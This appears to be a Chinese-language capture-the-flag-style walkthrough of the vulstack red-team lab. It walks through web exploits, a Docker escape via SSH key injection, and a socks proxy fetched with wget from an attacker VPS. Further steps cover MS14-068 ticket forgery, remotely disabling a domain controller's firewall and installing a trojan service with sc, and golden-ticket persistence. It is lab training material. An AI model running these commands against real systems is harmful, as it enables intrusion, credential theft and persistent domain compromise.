vulstack红队评估(四)
一、环境搭建:
①根据作者公开的靶机信息整理
虚拟机密码:
ubuntu:
ubuntu:ubuntu
win7:
douser:Dotest123
Win2008 DC:
administrator:Test2008,因为登陆要修改密码,所以改为了panda666...
②虚拟机网卡设置
ubuntu双网卡模拟内外网:
外网:192.168.1.128,桥接模式与物理机相通
内网:192.168.183.128,仅主机模式
系统的网卡设置手动改一下:
win7只有内网:
内网:192.168.183.129,仅主机模式
win2008只有内网:
内网:192.168.183.130,仅主机模式
启动Web服务,都是利用docker启动(注意:先切换到root用户再启动,或者加sudo):
①cve-2018-12613(phpmyadmin文件包含漏洞):
②S2-045:
③CVE-2017-12615(tomcat put上传):
二、Web层渗透:
1、信息收集:
①端口和服务信息
nmap -T4 -sV 192.168.1.128
②端口具体服务
2001:St2
2002:Tomcat
2003:phpmyadmin
2、利用漏洞getshell
①St2-045
②Tomcat put上传
直接上传冰蝎马
③phpmyadmin文件包含漏洞
不做具体操作了,具体利用方式之前也已经实战过...这里不再阐述
利用冰蝎连接即可
3、Docker逃逸:
由于web环境是利用docker搭建的,所以还需要逃逸,才能拿到宿主机权限
①反弹一个标准终端过来:
.sh的内容是bash一句话反弹
nc监听,即可收到shell
②尝试利用CVE-2019-5736进行docker逃逸(失败告终)
1.将脚本中的payload修改为反弹shell命令:
2.然后利用go build进行编译:
3.将main文件上传到目标并赋予权限:
4.执行main文件,然后受害机再次启动容器就会收到shell,但是这里我利用失败了...成功的话如下图:
卡壳:在这里尝试了很多次,都无法执行成功,耗费了大量时间,然后看到作者给出提示是ssh私钥利用,然后现学一下,就有了下面的操作:
③利用ssh私钥:
1.挂载文件
mkdir /panda
mount /dev/sda1 /panda
ls /panda/
2.kali本地生成ssh私钥:
mkdir key
cd key/
ssh-keygen -f panda
chmod 600 panda
3.写入私钥:
cp -avx /panda/home/ubuntu/.ssh/id_rsa.pub /panda/home/ubuntu/.ssh/authorized_keys # -avx是将权限也一起复制
echo > /panda/home/ubuntu/.ssh/authorized_keys
echo '生成的.pub文件的值' > /panda/home/ubuntu/.ssh/authorized_keys
查看是否成功生成:
ls /panda/home/ubuntu/.ssh/
4.然后利用自己的私钥进行登陆:
ssh -i panda ubuntu@192.168.1.128
5.利用此主机作为跳板,进行横向,利用ew搭建socks代理:
wget http://vps的ip/ew_for_linux64
开启正向socks代理:
chmod +x ew_for_linux64
./ew_for_linux64 -s ssocksd -l 1080
proxychains添加代理规则:
三、内网渗透:
1、内网信息收集:
利用ubuntu执行ifconfig,发现有两个网卡:
生成elf木马,让linux主机上线:
添加路由进行横向:
使用ms17-010扫描一下网段:
再一次卡壳:发现130和129都存在,但是始终无法获取会话,利用不成功....也不是知道是什么原因,但是目前只能想到用系统漏洞拿shell再进行横向了....思前想后,怀疑是msf路由的问题,就利用msf自带的设置代理参数设置socks5代理:
setg Proxies socks5:192.168.1.128:1080
然后就打成功了...这个具体什么原因呢?还不清楚...
2、域内信息收集:
①常规信息收集:
先把权限降为域用户,方便进行信息收集
网卡信息:
域内机器:
域控列表:
域管列表:
域内用户:
3、横向移动:
1.利用ms14-068攻击域控:
①获取域用户sid:
查看bash历史记录时,发现了域用户的账号密码:douser\Dotest123
②伪造生成票据:
ms14-068.exe -u douser@demo.com -p Dotest123 -s S-1-5-21-979886063-1111900045-1414766810-1107 -d 192.168.183.130
③导入票据:
kerberos::purge
kerberos::ptc 票据名
④访问域控:
2.利用sc上线域控:
①关闭域控防火墙
sc \\WIN-ENS2VR5TR3N create closewall binpath= "netsh advfirewall set allprofiles state off"
sc \\WIN-ENS2VR5TR3N start closewall
②msf生成bind木马:
回退权限,并上传到目标机器:
然后利用copy命令上传到域控:
③创建执行木马的服务:
sc \\WIN-ENS2VR5TR3N create ma binpath= "c:\ma.exe"
sc \\WIN-ENS2VR5TR3N start ma
执行完成域控就上线了,最好马上迁移进程:
直接dump所有hash:
4、权限维持:
load kiwi
kerberos_ticket_purge
golden_ticket_create -d demo.com -k 7c4ed692473d4b4344c3ba01c5e6cb63 -s S-1-5-21-979886063-1111900045-1414766810 -u Administrator -t /tmp/krbtgt.ticket
kerberos_ticket_use /tmp/krbtgt.ticket
可以在不更改krbtgt密码的情况下维持一段时间的权限了:
四、总结:
①踩了太多坑了...msf添加路由无法获取shell,使用msf自带的设置socks代理参数才成功
②如何通过一台跳板搭建socks代理,一步步拿下域控
③ms17-010拿下某域机器权限,随后利用ms14-608获取域控权限
④sc执行命令+bind直连方式上线域控
⑤黄金令牌的伪造以及权限维持